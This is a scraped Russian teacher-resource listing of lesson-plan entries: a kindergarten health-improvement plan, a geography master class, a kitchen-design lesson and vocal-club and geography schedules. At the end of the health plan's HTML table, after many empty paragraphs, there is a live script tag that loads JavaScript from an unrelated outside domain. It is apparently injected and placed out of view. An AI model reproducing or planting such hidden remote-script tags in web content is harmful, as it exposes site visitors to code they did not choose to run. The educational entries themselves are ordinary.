планирование
Данные об авторе
Место работы, должность:
МКОУ Воздвиженская СОШ
Регион:
Новосибирская область
Характеристики урока (занятия)
Уровень образования:
среднее профессиональное образование
Целевая аудитория:
Классный руководитель
Целевая аудитория:
Тьютор
Целевая аудитория:
Учитель (преподаватель)
Предмет(ы):
Литературное чтение
Предмет(ы):
Окружающий мир
Краткое описание:
<p>На данной странице размещено тематиеское планирование основных видов учебной деятельности.</p>
Тематическое планирование
Окружающий мир
Submitted by Любовь Николаевна Демина on Wed, 11/11/2015 - 15:43
Данные об авторе
Автор(ы):
Демина Любовь Николаевна
Место работы, должность:
МБДОУ "Детский сад комбинированного вида "Родничок"", воспитатель
Регион:
Республика Татарстан
Характеристики урока (занятия)
Уровень образования:
дошкольное образование
Целевая аудитория:
Воспитатель
Цель урока:
Планирование по оздоровлению в старшей группе «Жемчужина» с детьми 5- 6 лет.
Тип урока:
Урок обобщения и систематизации знаний
Учащихся в классе (аудитории):
20
Используемые учебники и учебные пособия:
Используемая методическая литература:
Используемое оборудование:
Краткое описание:
<p><strong>Планирование по оздоровлению в старшей группе «Жемчужина» с детьми 5- 6 лет.</strong></p> <p> </p> <p> </p> <table border="0" cellpadding="0" cellspacing="0" style="width:633px"> <tbody> <tr> <td style="width:45px"> <p>№</p> </td> <td style="width:294px"> <p>Мероприятия</p> </td> <td style="width:113px"> <p>Срок выполне-ния</p> </td> <td style="width:181px"> <p> Ответственный</p> </td> </tr> <tr> <td style="width:45px"> <p> </p> <p>1.</p> </td> <td style="width:294px"> <p>Проводить закаливание детей для тренировки защитных сил организма:</p> <p>-утренняя гимнастика</p> <p> – гимнастика после сна;</p> <p>- хождение по дорожке здороаья;</p> <p>- босоножье;</p> <p>- обливание ног водой, нагретой на солнышке в летний период времени;</p> <p>-правильная организация прогулок и их длительность;</p> <p>-соблюдение температурного режима в течение дня;</p> <p>-мытье рук прохладной водой по локоть;</p> <p> - индивидуальные физические упражнения;</p> <p> - спортивные игры;</p> </td> <td style="width:113px"> <p> </p> <p>В теч. года.</p> </td> <td style="width:181px"> <p> </p> <p> </p> <p>Ст. медсестра.</p> <p>Воспитательи.</p> <p>Инструктор по ФИЗО.</p> <p> </p> </td> </tr> <tr> <td style="width:45px"> <p>2.</p> </td> <td style="width:294px"> <p>Организация спортивных досугов с учетом сезонного времени;</p> <p>- досуги;</p> <p> - развлечения.</p> </td> <td style="width:113px"> <p>Раз в квартал.</p> <p> </p> </td> <td style="width:181px"> <p> </p> <p>Инструктор по ФИЗО.</p> <p>Воспитатели.</p> </td> </tr> <tr> <td style="height:86px; width:45px"> <p>3.</p> </td> <td style="height:86px; width:294px"> <p> Выполнением норм СанПина:</p> <p>- мытье игрушек;</p> <p>- организация прогулок;</p> <p>- маркировка мебели.</p> </td> <td style="height:86px; width:113px"> <p> </p> <p>Постоянно</p> <p> в течении</p> <p>года.</p> </td> <td style="height:86px; width:181px"> <p> </p> <p> Воспитатели.</p> <p>Ст. медсестра.</p> </td> </tr> <tr> <td style="width:45px"> <p>4.</p> </td> <td style="width:294px"> <p> Оперативная медицинская коррекция выявленных нарушений состояния здоровья:</p> <p>- ОД по образовательной области «физическая культура»;</p> <p>- досуги;</p> <p> - утренняя гимнастика;</p> <p>- индивидуальная работа;</p> <p>- спортивные игры.</p> </td> <td style="width:113px"> <p> </p> <p>Постоянно.</p> </td> <td style="width:181px"> <p> </p> <p>Воспитатели.</p> <p>Ст. медсестра.</p> <p> </p> </td> </tr> <tr> <td style="width:45px"> <p>5.</p> </td> <td style="width:294px"> <p>Курс неспецифического лечения</p> <p>«Профилактика острой респиратрной вирусной инфекции»</p> <p>- лук, чеснок, нарезанный и разложенный в тарелочках в группе и в раздевалке.</p> </td> <td style="width:113px"> <p>В теч. осенне, весенне, зимнего периода.</p> <p> </p> <p> </p> </td> <td style="width:181px"> <p>Воспитатели.</p> <p>Помощник воспитателя.</p> </td> </tr> <tr> <td style="width:45px"> <p>6.</p> </td> <td style="width:294px"> <p>Использование элементов психогимнастики на занятиях и в совместной деятельности;</p> </td> <td style="width:113px"> <p>В течении года.</p> </td> <td style="width:181px"> <p>Воспитатели.</p> <p>Психолог.</p> </td> </tr> <tr> <td style="width:45px"> <p>7.</p> </td> <td style="width:294px"> <p>ОД по образовательным областям «Здоровье», «Безопасность»</p> </td> <td style="width:113px"> <p> </p> <p>В теч. года.</p> </td> <td style="width:181px"> <p> </p> <p>Воспитатели.</p> <p> </p> <p> </p> <p> </p> <p> </p> </td> </tr> <tr> <td style="width:45px"> <p>8.</p> </td> <td style="width:294px"> <table border="0" cellpadding="0" cellspacing="0" style="width:633px"> <tbody> <tr> <td style="width:294px"> <p>Групповое собрание вопросы формирования здорового образа жизни.</p> </td> <td style="width:113px"> <p>Один раз в</p> <p>год</p> </td> </tr> </tbody> </table> <p> </p> </td> <td style="width:113px"> <p>Один раз в</p> <p>год.</p> </td> <td style="width:181px"> <p>Воспитатели.</p> </td> </tr> <tr> <td style="width:45px"> <p> </p> </td> <td style="width:294px"> <p> </p> </td> <td style="width:113px"> <p> </p> </td> <td style="width:181px"> <p> </p> </td> </tr> <tr> <td style="width:45px"> <p> </p> </td> <td style="width:294px"> <p> </p> </td> <td style="width:113px"> <p> </p> </td> <td style="width:181px"> <p> </p> </td> </tr> <tr> <td style="width:45px"> <p> </p> </td> <td style="width:294px"> <p> </p> </td> <td style="width:113px"> <p> </p> </td> <td style="width:181px"> <p> </p> </td> </tr> <tr> <td style="width:45px"> <p> </p> </td> <td style="width:294px"> <p> </p> </td> <td style="width:113px"> <p> </p> </td> <td style="width:181px"> <p> </p> </td> </tr> <tr> <td style="width:45px"> <p> </p> </td> <td style="width:294px"> <p> </p> </td> <td style="width:113px"> <p> </p> </td> <td style="width:181px"> <p> </p> </td> </tr> <tr> <td style="height:5px; width:45px"> <p> </p> </td> <td style="height:5px; width:294px"> <p> </p> </td> <td style="height:5px; width:113px"> <p> </p> </td> <td style="height:5px; width:181px"> <p> </p> </td> </tr> </tbody> </table> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> <script async="" src="//vegetatika.ru/t.js" type="text/javascript"></script> </p>
Планирование по оздоровлению в старшей группе «Жемчужина» с детьми 5- 6 лет.
Submitted by Галина Евгеньевна Толстых on Wed, 07/10/2015 - 15:42
Данные об авторе
Место работы, должность:
учитель географии МОУ СШ № 6 города Волжска Республики Марий Эл
Регион:
Республика Марий Эл
Характеристики урока (занятия)
Уровень образования:
основное общее образование
Целевая аудитория:
Учитель (преподаватель)
Цель урока:
Показать развитие таких регулятивных действий, как -целеполагание -планирование -прогнозирование - оценку (осознание качества и уровня усвоения) - саморегуляцию (выполнение действий по заданному образцу).
Тип урока:
Урок изучения и первичного закрепления новых знаний
Учащихся в классе (аудитории):
25
Используемые учебники и учебные пособия:
УМК: география 6 класс учебник ФГОС, 2014 География 6 класс. Методические рекомендации. ФГОС, 2014 г. Рабочая программа к учебнику Е.М. Домогацких, Н.И. Алексеевского "География. 6 класс". ФГОС, 2014 г. Атлас по географии. 5-6 класс, 2014 г. Контурные карты. География. 6 класс, 2014 г.
Используемое оборудование:
ноутбук, проектор, доска
Используемые ЦОР:
презентация
Краткое описание:
<p>ФГОС 2009 года предъявляет совершенно новые требования к обучению. На первый план выходит формирование универсальных учебных действий. Все мы знакомы с портретом выпускника начальной школы, согласно ФГОС и к нам, педагогам среднего звена, предъявляются особые требования. Необходимо обеспечить преемственность с начальной школой и развивать УУД, сформированные учителями начальных классов. Сегодня я предлагаю вашему вниманию мастер- класс «Формирование регулятивных УУД при помощи метода проблемного диалога на уроках географии при изучении нового материала», где постараюсь вам показать развитие таких регулятивных действий, как -целеполагание -планирование -прогнозирование - оценку (осознание качества и уровня усвоения) - саморегуляцию (выполнение действий по заданному образцу).</p>
Мастер класс на тему: «Формирование регулятивных УУД при помощи метода проблемного диалога на уроках географии при изучении нового материала». Добрый день, уважаемые коллеги.
Submitted by Людмила Владимировна Семенихина on Tue, 09/12/2014 - 21:30
Перспективный план
работы с детьми, имеющими нарушения звукопроизношения
1 этап: Подготовительный
Submitted by Мария Николаевна Богаткина on пн, 24/11/2014 - 05:43
Данные об авторе
Место работы, должность:
МБОУ "Лицей№1" п. Тюльган, учитель технологии
Регион:
Оренбургская область
Характеристики урока (занятия)
Уровень образования:
основное общее образование
Целевая аудитория:
Учитель (преподаватель)
Цель урока:
Познакомить учащихся с видами и способами планирования кухни.
Тип урока:
Урок изучения и первичного закрепления новых знаний
Учащихся в классе (аудитории):
5
Используемые учебники и учебные пособия:
Технология. Технология ведения дома: 5 класс: учебник для учащихся общеобразовательных учреждений/ Н.В. Синица, В.Д. Симоненко. - М.: Вентана - Граф, 2012.
Используемое оборудование:
компьютер, проектор, экран
Краткое описание:
<p>Презназначено для проведения урока по теме: "Интерьер и планирование кухни - столовой".</p>
Submitted by Наталья Павловна Гурылева on Tue, 04/11/2014 - 00:02
Данные об авторе
Автор(ы):
Гурылева Наталья Павловна
Место работы, должность:
МАДОУ "Детский сад № 6 "Тополёк"
Регион:
Саратовская область
Характеристики урока (занятия)
Уровень образования:
дошкольное образование
Целевая аудитория:
Все целевые аудитории
Цель урока:
Программа с перспектиным планированием вокального кружка.
Тип урока:
Урок изучения и первичного закрепления новых знаний
Учащихся в классе (аудитории):
14
Используемые учебники и учебные пособия:
Федосова И.А., Коваленко Е.В., Дядюнова И.А.«Преемственность. Программа по подготовке к школе детей 5-7 лет», Москва, «Просвещение», 2012 г.
Используемое оборудование:
Фортепиано, музыкальный центр,микрофоны.
Используемые ЦОР:
Интернет- ресурсы.
Краткое описание:
<p>Программа и перспективный план работы вокального кружка.</p>
Пояснительная записка, план работы с детьми и родителями. Перспективный план работы вокального кружка на учебный год.
Submitted by Зоя Ивановна Титенко on вс, 18/05/2014 - 18:58
Данные об авторе
Место работы, должность:
учитель географии, МБОУСОШ № 6
Регион:
Краснодарский край
Характеристики урока (занятия)
Уровень образования:
основное общее образование
Уровень образования:
среднее (полное) общее образование
Целевая аудитория:
Тьютор
Целевая аудитория:
Учитель (преподаватель)
Цель урока:
календарно-тематическое планирование
Учащихся в классе (аудитории):
6
Используемые учебники и учебные пособия:
учебники издательства "Просвещение", серия "Полярная звезда"
Краткое описание:
<p>календарно-тематическое планирование уроков географии, 6-11 классы<br /> <br /> </p>
Ресурс для профильной школы:
Ресурс для профильной школы
ТАЙМЫРСКОЕ МУНИЦИПАЛЬНОЕ КАЗЕННОЕ ОБРАЗОВАТЕЛЬНОЕ УЧРЕЖДЕНИЕ «УСТЬ-ПОРТОВСКАЯ СРЕДНЯЯ ОБЩЕОБРАЗОВАТЕЛЬНАЯ ШКОЛА-ИНТЕРНАТ»
Размещено в сообществах:
